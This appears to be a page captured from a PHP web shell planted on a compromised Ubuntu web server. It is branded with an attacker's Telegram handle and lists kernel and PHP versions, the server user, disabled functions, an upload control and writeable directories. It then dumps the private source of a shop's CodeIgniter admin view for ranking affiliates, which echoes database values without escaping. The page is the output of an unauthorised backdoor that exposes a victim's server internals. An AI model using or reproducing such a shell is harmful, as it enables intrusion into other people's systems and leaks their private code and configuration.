https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin/affiliator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin/affiliator/list.php
<div class="row">
    <div class="col-sm-12">
        <p><a href="<?= base_url('admin/promotion'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke Promosi</a></p><br>
        <h2>Affiliator Ranking</h2>
        <?= $this->session->flashdata('success'); //to display success message 
        ?>
        <?= $this->session->flashdata('result'); //to display result message 
        ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->
<div>
    <div class="row">
        <div class="col-sm-12">
            <!-- Button with different colors -->
            <a href="<?= base_url('admin/affiliator'); ?>"><button class="btn btn-success">Dashboard</button></a>
            <a href="<?= base_url('admin/affiliator/list'); ?>"><button class="btn btn-info">Ranking Affiliator</button></a>
            <a href="<?= base_url('admin/affiliator/mission'); ?>"><button class="btn btn-warning">Misi</button></a>
            <a href="<?= base_url('admin/affiliator/commision'); ?>"><button class="btn btn-danger">Komisi</button></a>
            <a href="<?= base_url('admin/affiliator/product'); ?>"><button class="btn btn-primary">Produk Affiliator</button></a>
        </div>
    </div>
</div>
<div>
    <div class="row">
        <div class="col-sm-12">
            <div style="padding: 15px;" class="tab-pane active" id="orders1" role="tabpanel" aria-labelledby="tab1">
                <h5 style="text-align: center;">Affiliator Ranking</h5>
                <div class="row">
                    <div class="col-sm-12">
                        <div class="table-responsive">
                            <table class="table table-striped">
                                <thead>
                                    <tr>
                                        <th>ID Customer</th>
                                        <th>Nama</th>
                                        <th>No HP</th>
                                        <th>Email</th>
                                        <th>Jumlah Impresi</th>
                                        <th>Total Komisi</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php if (count($affiliator_list)) : ?>
                                        <?php foreach ($affiliator_list as $al) : ?>
                                            <tr>
                                                <td><?php echo $al->id_customer; ?></td>
                                                <td><?php echo $al->nama; ?></td>
                                                <td><?php echo $al->no_telpon; ?></td>
                                                <td><?php echo $al->email; ?></td>
                                                <td>
                                                    <button type="button" class="btn btn-link" data-toggle="modal" data-target="#chartModal<?php echo $al->id_customer; ?>">
                                                        <?php
                                                        $count_visit = $this->db->select('id')
                                                            ->from('visits')
                                                            ->where('referral', $al->voucher)
                                                            ->where('date >=', '2024-08-01')
                                                            ->group_by('ip_address')
                                                            ->get()
                                                            ->num_rows();
                                                        echo $count_visit;
                                                        ?>
                                                    </button>
                                                </td>
                                                <td>IDR <?php echo number_format($al->earned); ?></td>
                                            </tr>
                                        <?php endforeach; ?>
                                    <?php else : ?>
                                        <tr>
                                            <td colspan="6">Tidak Ada Pendaftaran Affiliator</td>
                                        </tr>
                                    <?php endif; ?>
                                </tbody>
                            </table>
                        </div>
                    </div> <!-- end class col-sm-12 -->
                </div> <!-- end class="row" -->
            </div>
        </div>
    </div>
</div>

<?php foreach ($affiliator_list as $al) : ?>
    <!-- Modal -->
    <div class="modal fade" id="chartModal<?php echo $al->id_customer; ?>" tabindex="-1" role="dialog" aria-labelledby="chartModalLabel<?php echo $al->id_customer; ?>" aria-hidden="true">
        <div class="modal-dialog modal-lg" role="document"> <!-- Ganti dengan modal-lg untuk ukuran besar -->
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="chartModalLabel<?php echo $al->id_customer; ?>">Total Impressions in the Last Month</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <h5 style="text-align: center;">Chart</h5>
                    <script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>
                    <script type="text/javascript">
                        google.charts.load('current', {
                            'packages': ['corechart']
                        });
                        google.charts.setOnLoadCallback(drawChart);

                        function drawChart() {
                            var data = google.visualization.arrayToDataTable([
                                ['Date', 'Impressions'],
                                <?php
                                // Ambil data dari database
                                $referral = $this->db->escape_str($al->voucher); // Mendapatkan referral dari objek affiliator
                                $count_visits = $this->db->select('DATE(date) as date, COUNT(DISTINCT ip_address) as count')
                                    ->from('visits')
                                    ->where('referral', $referral)
                                    ->where('date >=', date('Y-m-d', strtotime('-1 month')))
                                    ->group_by('DATE(date)')
                                    ->order_by('DATE(date)', 'ASC')
                                    ->get()
                                    ->result_array();

                                // Generate data untuk Google Charts
                                foreach ($count_visits as $row) {
                                    // Format tanggal dalam format 'yyyy-mm-dd' atau 'yyyy/MM/dd' jika diperlukan
                                    $date = date('Y-m-d', strtotime($row['date']));
                                    $count = (int)$row['count']; // Pastikan ini adalah angka
                                    echo "['" . $date . "', " . $count . "],";
                                }
                                ?>
                            ]);

                            var options = {
                                title: 'Total Impressions in the Last Month',
                                height: 400,
                                width: 800,
                                hAxis: {
                                    title: 'Date',
                                    textStyle: {
                                        color: '#333'
                                    },
                                    titleTextStyle: {
                                        color: '#333'
                                    }
                                },
                                vAxis: {
                                    title: 'Impressions',
                                    minValue: 0,
                                    textStyle: {
                                        color: '#333'
                                    },
                                    titleTextStyle: {
                                        color: '#333'
                                    }
                                },
                                legend: {
                                    position: 'none'
                                },
                                colors: ['#FF5733', '#33FF57', '#3357FF', '#F7FF33', '#FF33C4', '#33FFF5'],
                                backgroundColor: '#F5F5F5',
                                chartArea: {
                                    backgroundColor: {
                                        fill: '#FFFFFF',
                                        fillOpacity: 0.8
                                    }
                                },
                                pointSize: 5,
                                lineWidth: 2
                            };

                            var chart = new google.visualization.LineChart(document.getElementById('stacked_chart<?php echo $al->id_customer; ?>'));
                            chart.draw(data, options);
                        }
                    </script>
                    <div id="stacked_chart<?php echo $al->id_customer; ?>" style="text-align: center;"></div> <!-- Atur lebar dan tinggi grafik -->
                </div>

                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>

<?php endforeach; ?>

https://t.me/RX1948 - 2025